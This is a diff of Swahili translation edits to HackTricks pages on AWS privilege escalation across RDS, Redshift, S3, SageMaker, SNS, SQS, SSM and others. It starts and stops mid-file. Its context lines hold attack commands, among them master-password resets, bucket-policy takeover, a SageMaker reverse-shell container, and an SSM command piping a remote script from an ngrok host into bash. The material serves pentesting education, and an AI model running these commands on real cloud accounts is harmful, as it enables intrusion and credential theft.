Zinazoweza Kutokea:** Iba akiba za ActiveMQ {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index bfa63f3d6..c1fe62b3d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -12,11 +12,11 @@ Kwa maelezo zaidi kuhusu MSK (Kafka) angalia: ### `msk:ListClusters`, `msk:UpdateSecurity` -Kwa hizi **haki** na **ufikiaji wa VPC ambapo wakala wa kafka wako**, unaweza kuongeza **uthibitishaji wa Hakuna** ili kuweza kuwapata. +Kwa hizi **haki** na **ufikiaji wa VPC ambapo wakala wa kafka wako**, unaweza kuongeza **Hakuna uthibitisho** ili kuweza kuwapata. ```bash aws msk --client-authentication --cluster-arn --current-version ``` Unahitaji ufikiaji wa VPC kwa sababu **huwezi kuwezesha uthibitisho wa None na Kafka iliyofichuliwa hadharani**. Ikiwa imefichuliwa hadharani, ikiwa **uthibitisho wa SASL/SCRAM** unatumika, unaweza **kusoma siri** ili kupata ufikiaji (utahitaji ruhusa za ziada kusoma siri hiyo).\ -Ikiwa **uthibitisho wa msingi wa jukumu la IAM** unatumika na **kafka imefichuliwa hadharani** bado unaweza kutumia ruhusa hizi kukupa ruhusa za kuweza kuipata. +Ikiwa **uthibitisho wa msingi wa jukumu la IAM** unatumika na **kafka imefichuliwa hadharani** bado unaweza kutumia ruhusa hizi kukupa ruhusa za kuweza kufikia. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 5f1ac9e7c..e75703770 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ## Kutoka kwa Akaunti ya Usimamizi hadi Akaunti za Watoto -Ikiwa unashambulia akaunti ya mzizi/usimamizi, kuna uwezekano unaweza kushambulia akaunti zote za watoto.\ +Ikiwa unavunja akaunti ya mzizi/usimamizi, kuna uwezekano unaweza kuvunja akaunti zote za watoto.\ Ili [**kujifunza jinsi ya kuangalia ukurasa huu**](../#compromising-the-organization). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 59ad0cab8..bbe84815a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -## RDS - Huduma ya Hifadhi ya Taarifa +## RDS - Huduma ya Hifadhidata ya Uhusiano Kwa maelezo zaidi kuhusu RDS angalia: @@ -12,7 +12,7 @@ Kwa maelezo zaidi kuhusu RDS angalia: ### `rds:ModifyDBInstance` -Kwa ruhusa hiyo mshambuliaji anaweza **kubadilisha nenosiri la mtumiaji mkuu**, na kuingia ndani ya hifadhi ya taarifa: +Kwa ruhusa hiyo mshambuliaji anaweza **kubadilisha nenosiri la mtumiaji mkuu**, na kuingia ndani ya hifadhidata: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -33,7 +33,7 @@ psql postgresql://:@:5432/ ### rds-db:connect -Kulingana na [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) mtumiaji mwenye ruhusa hii anaweza kuungana na DB instance. +Kulingana na [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) mtumiaji mwenye ruhusa hii anaweza kuungana na mfano wa DB. ### Tumia Ruhusa za RDS Role IAM @@ -42,7 +42,7 @@ Kulingana na [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/U > [!TIP] > Ikiwa unakimbia **`SELECT datname FROM pg_database;`** unapata hifadhidata inayoitwa **`rdsadmin`** unajua uko ndani ya **hifadhidata ya AWS postgresql**. -Kwanza unaweza kuangalia ikiwa hifadhidata hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hii kwa kutazama nyongeza zilizowekwa: +Kwanza unaweza kuangalia kama hifadhidata hii imetumika kufikia huduma nyingine yoyote ya AWS. Unaweza kuangalia hii kwa kutazama nyongeza zilizowekwa: ```sql SELECT * FROM pg_extension; ``` @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -Ikiwa ungekuwa na **raw AWS credentials** unaweza pia kuzitumia kufikia data ya S3 kwa: +Ikiwa ungekuwa na **akidi za AWS za msingi** unaweza pia kuzitumia kufikia data za S3 kwa: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -80,18 +80,18 @@ aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') ); ``` > [!NOTE] -> Postgresql **haitaji kubadilisha chochote katika kikundi cha vigezo** ili kuweza kufikia S3. +> Postgresql **haitaji kubadilisha chochote katika parameter group variable** ili kuweza kufikia S3. #### Mysql (Aurora) > [!TIP] -> Ndani ya mysql, ukikimbia swali **`SELECT User, Host FROM mysql.user;`** na kuna mtumiaji anayeitwa **`rdsadmin`**, unaweza kudhani uko ndani ya **AWS RDS mysql db**. +> Ndani ya mysql, ukikimbia query **`SELECT User, Host FROM mysql.user;`** na kuna mtumiaji anayeitwa **`rdsadmin`**, unaweza kudhani uko ndani ya **AWS RDS mysql db**. -Ndani ya mysql kimbia **`show variables;`** na ikiwa vigezo kama **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, vina thamani, unaweza kudhani hifadhidata imeandaliwa kufikia data za S3. +Ndani ya mysql kimbia **`show variables;`** na ikiwa variables kama **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, zina thamani, unaweza kudhani database imeandaliwa kufikia data za S3. -Pia, ikiwa una ruhusa ya kukimbia **`aws rds describe-db-clusters`** unaweza kuangalia ikiwa klasta ina **jukumu lolote lililounganishwa**, ambalo kwa kawaida linamaanisha ufikiaji wa huduma za AWS). +Pia, ikiwa una ruhusa ya kukimbia **`aws rds describe-db-clusters`** unaweza kuangalia ikiwa cluster ina **associated role**, ambayo kwa kawaida inamaanisha ufikiaji wa huduma za AWS). -Sasa, ili **kusoma faili ndani ya bakuli** unahitaji kujua njia kamili. Unaweza kuisoma kwa: +Sasa, ili **kusoma faili ndani ya bucket** unahitaji kujua njia kamili. Unaweza kuisoma kwa: ```sql CREATE TABLE ttemp (col TEXT); LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); @@ -100,16 +100,16 @@ DROP TABLE ttemp; ``` ### `rds:AddRoleToDBCluster`, `iam:PassRole` -Mshambuliaji mwenye ruhusa `rds:AddRoleToDBCluster` na `iam:PassRole` anaweza **kuongeza jukumu lililobainishwa kwenye mfano wa RDS uliopo**. Hii inaweza kumwezesha mshambuliaji **kupata data nyeti** au kubadilisha data ndani ya mfano huo. +Mshambuliaji mwenye ruhusa `rds:AddRoleToDBCluster` na `iam:PassRole` anaweza **kuongeza jukumu lililobainishwa kwenye mfano wa RDS uliopo**. Hii inaweza kumwezesha mshambuliaji **kupata data nyeti** au kubadilisha data ndani ya mfano. ```bash aws add-role-to-db-cluster --db-cluster-identifier --role-arn ``` **Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance.\ -Kumbuka kwamba baadhi ya DBs zinahitaji mipangilio ya ziada kama Mysql, ambayo inahitaji kubainisha ARN ya jukumu katika vikundi vya aprameter pia. +Kumbuka kwamba baadhi ya DB zinahitaji mipangilio ya ziada kama Mysql, ambayo inahitaji kubainisha ARN ya jukumu katika vikundi vya aprameter pia. ### `rds:CreateDBInstance` -Kwa ruhusa hii tu mshambuliaji anaweza kuunda **instance mpya ndani ya klasta** ambayo tayari ipo na ina **IAM role** iliyounganishwa. Hataweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kuwa na uwezo wa kufichua instance mpya ya database kwa mtandao: +Kwa ruhusa hii tu, mshambuliaji anaweza kuunda **instance mpya ndani ya klasta** ambayo tayari ipo na ina **IAM role** iliyounganishwa. Hataweza kubadilisha nenosiri la mtumiaji mkuu, lakini anaweza kuwa na uwezo wa kufichua instance mpya ya database kwa mtandao: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,10 +124,10 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: Test -Mshambuliaji mwenye ruhusa `rds:CreateDBInstance` na `iam:PassRole` anaweza **kuunda mfano mpya wa RDS na jukumu lililowekwa**. Mshambuliaji anaweza kisha **kupata data nyeti** au kubadilisha data ndani ya mfano huo. +Mshambuliaji mwenye ruhusa `rds:CreateDBInstance` na `iam:PassRole` anaweza **kuunda mfano mpya wa RDS ukiwa na jukumu lililowekwa**. Mshambuliaji anaweza kisha **kufikia data nyeti** au kubadilisha data ndani ya mfano huo. > [!WARNING] -> Baadhi ya mahitaji ya jukumu/profaili ya mfano ili kuambatanisha (kutoka [**hapa**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): +> Baadhi ya mahitaji ya jukumu/profili ya mfano ili kuunganisha (kutoka [**hapa**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): > - Profaili lazima iwepo katika akaunti yako. > - Profaili lazima iwe na jukumu la IAM ambalo Amazon EC2 ina ruhusa ya kulichukua. @@ -135,17 +135,17 @@ Mshambuliaji mwenye ruhusa `rds:CreateDBInstance` na `iam:PassRole` anaweza **ku ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance. +**Athari Inayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance. ### `rds:AddRoleToDBInstance`, `iam:PassRole` Mshambuliaji mwenye ruhusa `rds:AddRoleToDBInstance` na `iam:PassRole` anaweza **kuongeza jukumu lililotajwa kwenye RDS instance iliyopo**. Hii inaweza kumwezesha mshambuliaji **kufikia data nyeti** au kubadilisha data ndani ya instance hiyo. > [!WARNING] -> DB instance lazima iwe nje ya kundi kwa hili +> DB instance lazima iwe nje ya klasta kwa hili ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika mfano wa RDS. +**Madhara Yanayoweza Kutokea**: Ufikiaji wa data nyeti au mabadiliko yasiyoidhinishwa kwenye data katika RDS instance. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 621c8ef8e..64b6b3cb0 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -19,7 +19,7 @@ aws redshift get-cluster-credentials --db-user postgres --cluster-identifier red # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` -**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. +**Athari Inayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` @@ -31,11 +31,11 @@ aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-clus # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` -**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. +**Athari Inayoweza Kutokea:** Pata taarifa nyeti ndani ya hifadhidata. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -Inawezekana **kubadilisha nenosiri la mkuu** la mtumiaji wa ndani wa postgres (redshit) kutoka aws cli (nadhani hizo ndizo ruhusa unazohitaji lakini sijazijaribu bado): +Inawezekana **kubadilisha nenosiri la mkuu** wa mtumiaji wa ndani wa postgres (redshit) kutoka aws cli (nadhani hizo ndizo ruhusa unazohitaji lakini sijazijaribu bado): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` @@ -82,11 +82,11 @@ from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` > [!WARNING] -> Jedwali la Amazon DynamoDB linalotoa data lazima liundwe katika Mkoa mmoja wa AWS kama klasta yako isipokuwa utumie chaguo la [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) kubaini Mkoa wa AWS ambapo jedwali la Amazon DynamoDB liko. +> Jedwali la Amazon DynamoDB linalotoa data lazima liundwe katika Mkoa mmoja wa AWS kama klasta yako isipokuwa utumie chaguo la [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) kubaini Mkoa wa AWS ambapo jedwali la Amazon DynamoDB lipo. ### EMR -Angalia [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index bafc99541..adcbeb35f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -8,7 +8,7 @@ Mshambuliaji mwenye ruhusa hizo juu ya ndoo za kuvutia anaweza kuwa na uwezo wa kuiba rasilimali na kupandisha mamlaka. -Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza kuiba utekelezaji. Ufikiaji unaweza kutolewa kwa sera ifuatayo: +Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** inayoitwa "cf-templates-nohnwfax6a6i-us-east-1" ataweza kuiba uanzishaji. Ufikiaji unaweza kutolewa kwa sera ifuatayo: ```json { "Version": "2012-10-17", @@ -34,7 +34,7 @@ Kwa mfano, mshambuliaji mwenye **ruhusa hizo juu ya ndoo ya cloudformation** ina ] } ``` -Na hijack inapatikana kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoaded** hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo it **trigger wakati arifa ya bucket inatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. +Na utekaji ni waweza kwa sababu kuna **dirisha dogo la muda kutoka wakati template inapoupoaded** kwenye bucket hadi wakati **template inatekelezwa**. Mshambuliaji anaweza tu kuunda **lambda function** katika akaunti yake ambayo itakuwa **inachochea wakati arifa ya bucket inatumwa**, na **hijacks** **maudhui** ya **bucket** hiyo. ![](<../../../images/image (174).png>) @@ -48,11 +48,11 @@ Mshambuliaji mwenye **ufikiaji wa kusoma** kwao anaweza kupata **taarifa nyeti** Mshambuliaji mwenye **ufikiaji wa kuandika** kwao anaweza **kubadilisha data ili kutumia huduma fulani na kujaribu kupandisha mamlaka**.\ Hizi ni baadhi ya mifano: -- Ikiwa mfano wa EC2 unahifadhi **data ya mtumiaji katika bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wa kiholela ndani ya mfano wa EC2**. +- Ikiwa mfano wa EC2 unahifadhi **data ya mtumiaji kwenye bucket ya S3**, mshambuliaji anaweza kuibadilisha ili **kutekeleza msimbo wowote ndani ya mfano wa EC2**. ### `s3:PutBucketPolicy` -Mshambuliaji, ambaye anahitaji kuwa **kutoka kwenye akaunti hiyo hiyo**, ikiwa sivyo kosa `The specified method is not allowed will trigger`, kwa ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. +Mshambuliaji, ambaye anahitaji kuwa **kutoka kwenye akaunti hiyo hiyo**, ikiwa sivyo kosa `Njia iliyoainishwa hairuhusiwi itasababisha`, kwa ruhusa hii ataweza kujipa ruhusa zaidi juu ya bucket(s) akimruhusu kusoma, kuandika, kubadilisha, kufuta na kufichua buckets. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket @@ -138,7 +138,7 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ``` ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -Mshambuliaji anaweza kutumia ruhusa hizi ili kumwezesha kupata ufikiaji zaidi juu ya vitu maalum ndani ya ndoo. +Mshambuliaji anaweza kutumia ruhusa hizi kuongeza ufikiaji wake juu ya vitu maalum ndani ya makundi. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 31aa006c2..dc42e7bcf 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -12,16 +12,16 @@ aws sagemaker create-notebook-instance --notebook-instance-name example \ --instance-type ml.t2.medium \ --role-arn arn:aws:iam:::role/service-role/ ``` -Majibu yanapaswa kuwa na uwanja wa `NotebookInstanceArn`, ambao utakuwa na ARN ya mfano wa notebook mpya ulioanzishwa. Tunaweza kisha kutumia API ya `create-presigned-notebook-instance-url` kuunda URL ambayo tunaweza kutumia kufikia mfano wa notebook mara tu utakapokuwa tayari: +Majibu yanapaswa kuwa na uwanja wa `NotebookInstanceArn`, ambao utakuwa na ARN ya mfano mpya wa notebook ulioanzishwa. Tunaweza kisha kutumia API ya `create-presigned-notebook-instance-url` kuunda URL ambayo tunaweza kutumia kufikia mfano wa notebook mara tu utakapokuwa tayari: ```bash aws sagemaker create-presigned-notebook-instance-url \ --notebook-instance-name ``` -Navigate to the URL with the browser and click on \`Open JupyterLab\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +Nenda kwenye URL na kivinjari na ubofye \`Open JupyterLab\` katika kona ya juu kulia, kisha shuka chini hadi kwenye kichupo cha “Launcher” na chini ya sehemu ya “Other”, bofya kitufe cha “Terminal”. Sasa inawezekana kufikia akiba ya metadata ya IAM Role. -**Potential Impact:** Privesc kwa huduma ya sagemaker iliyoainishwa. +**Madhara Yanayoweza Kutokea:** Privesc kwa huduma ya sagemaker iliyotajwa. ### `sagemaker:CreatePresignedNotebookInstanceUrl` @@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name [!WARNING] > Hali hii ni ngumu zaidi kutekeleza kuliko ile ya awali kwa sababu unahitaji kuunda picha ya Docker ambayo itatuma rev shell au creds moja kwa moja kwa mshambuliaji (huwezi kuashiria amri ya kuanzia katika usanidi wa kazi ya mafunzo). @@ -71,7 +71,7 @@ Mshambuliaji mwenye ruhusa hizo ataweza kuunda kazi ya mafunzo, **ikiendesha kon > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Ipelekwe kwa ECR +> # Pakia kwenye ECR > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest @@ -94,8 +94,8 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -Mshambuliaji mwenye ruhusa hizo ataweza (kwa uwezekano) kuunda **kazi ya mafunzo ya hyperparameter**, **akikimbia kontena chochote** juu yake na **jukumu lililounganishwa** nalo.\ -&#xNAN;_I sijafanikiwa kutumia kwa sababu ya ukosefu wa muda, lakini inaonekana kama matumizi ya awali, jisikie huru kutuma PR yenye maelezo ya matumizi._ +Mshambuliaji mwenye ruhusa hizo ataweza (kwa uwezekano) kuunda **kazi ya mafunzo ya hyperparameter**, **akikimbia kontena yoyote** juu yake na **jukumu lililounganishwa** nalo.\ +&#xNAN;_I sijafanya unyakuzi kwa sababu ya ukosefu wa muda, lakini inaonekana kama unyakuzi wa awali, jisikie huru kutuma PR yenye maelezo ya unyakuzi._ ## Marejeleo diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index 11423fe1e..cc43daebd 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -20,7 +20,7 @@ aws secretsmanager get-secret-value --secret-id # Get value ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -Kwa ruhusa zilizotangulia inawezekana **kutoa ufikiaji kwa wahusika/akaunti nyingine (hata za nje)** kupata **siri**. Kumbuka kwamba ili **kusoma siri zilizofichwa** kwa kutumia funguo za KMS, mtumiaji pia anahitaji kuwa na **ufikiaji juu ya funguo za KMS** (maelezo zaidi katika [KMS Enum page](../aws-services/aws-kms-enum.md)). +Kwa ruhusa zilizotajwa hapo awali, inawezekana **kutoa upatikanaji kwa wahusika/akaunti wengine (hata za nje)** kupata **siri**. Kumbuka kwamba ili **kusoma siri zilizofichwa** kwa kutumia funguo za KMS, mtumiaji pia anahitaji kuwa na **upatikanaji juu ya funguo za KMS** (maelezo zaidi kwenye [KMS Enum page](../aws-services/aws-kms-enum.md)). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 5a95a8517..6300603ca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia: ### `sns:Publish` -Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. +Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwa mada ya SNS, ambayo inaweza kusababisha uharibifu wa data, kuanzisha vitendo visivyokusudiwa, au kutumia rasilimali. ```bash aws sns publish --topic-arn --message ``` @@ -20,7 +20,7 @@ aws sns publish --topic-arn --message ### `sns:Subscribe` -Mshambuliaji anaweza kujiandikisha au kujiunga na mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo. +Mshambuliaji anaweza kujiunga au kujiandikisha kwenye mada ya SNS, na hivyo kupata ufikiaji usioidhinishwa wa ujumbe au kuharibu utendaji wa kawaida wa programu zinazotegemea mada hiyo. ```bash aws sns subscribe --topic-arn --protocol --endpoint ``` @@ -32,6 +32,6 @@ Mshambuliaji anaweza kuwapa watumiaji au huduma zisizoidhinishwa ufikiaji wa mad ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au upotoshaji wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea mada hiyo. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mada, kufichuliwa kwa ujumbe, au udanganyifu wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendaji wa kawaida wa programu zinazotegemea mada hiyo. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md index e1ff1908a..faac4a2ae 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md @@ -12,11 +12,11 @@ Kwa maelezo zaidi angalia: ### `sqs:AddPermission` -Mshambuliaji anaweza kutumia ruhusa hii kutoa ufikiaji kwa watumiaji au huduma zisizoidhinishwa kwa foleni ya SQS kwa kuunda sera mpya au kubadilisha sera zilizopo. Hii inaweza kusababisha ufikiaji usioidhinishwa kwa ujumbe katika foleni au udanganyifu wa foleni na vyombo visivyoidhinishwa. +Mshambuliaji anaweza kutumia ruhusa hii kutoa ufikiaji kwa watumiaji au huduma zisizoidhinishwa kwenye foleni ya SQS kwa kuunda sera mpya au kubadilisha sera zilizopo. Hii inaweza kusababisha ufikiaji usioidhinishwa kwa ujumbe katika foleni au udanganyifu wa foleni na vyombo visivyoidhinishwa. ```bash cssCopy codeaws sqs add-permission --queue-url --actions --aws-account-ids --label ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa foleni, kufichuliwa kwa ujumbe, au upotoshaji wa foleni na watumiaji au huduma zisizoidhinishwa. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa kwenye foleni, kufichuliwa kwa ujumbe, au upotoshaji wa foleni na watumiaji au huduma zisizoidhinishwa. ### `sqs:SendMessage`, `sqs:SendMessageBatch` @@ -25,7 +25,7 @@ Mshambuliaji anaweza kutuma ujumbe mbaya au usiotakikana kwenye foleni ya SQS, a aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` -**Madhara Yanayoweza Kutokea**: Utekelezaji wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au upungufu wa rasilimali. +**Athari Inayoweza Kutokea**: Utekelezaji wa udhaifu, Uharibifu wa data, vitendo visivyokusudiwa, au uchovu wa rasilimali. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` @@ -35,6 +35,6 @@ aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` -**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathiriwa. +**Madhara Yanayoweza Kutokea**: Kuiba taarifa nyeti, Kupoteza ujumbe, uharibifu wa data, na usumbufu wa huduma kwa programu zinazotegemea ujumbe zilizoathirika. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md index 3d9f5874d..6f174e1cc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md @@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ --document-name "AWS-RunShellScript" --output text \ --parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash" ``` -Katika kesi unayotumia mbinu hii kuongeza mamlaka ndani ya mfano wa EC2 ulioathiriwa tayari, unaweza tu kukamata rev shell kwa ndani kwa: +Ikiwa unatumia mbinu hii kuongeza mamlaka ndani ya EC2 instance ambayo tayari imeathiriwa, unaweza tu kukamata rev shell kwa ndani kwa: ```bash # If you are in the machine you can capture the reverseshel inside of it nc -lvnp 4444 #Inside the EC2 instance @@ -35,7 +35,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \ ### `ssm:StartSession` -Mshambuliaji mwenye ruhusa **`ssm:StartSession`** anaweza **kuanzisha kikao kama cha SSH katika mifano** inayotembea yenye Amazon SSM Agent na **kuathiri IAM Role** inayotembea ndani yake. +Mshambuliaji mwenye ruhusa **`ssm:StartSession`** anaweza **kuanzisha kikao kama cha SSH katika mifano** inayotembea yenye Amazon SSM Agent na **kushambulia IAM Role** inayotembea ndani yake. ```bash # Check for configured instances aws ssm describe-instance-information @@ 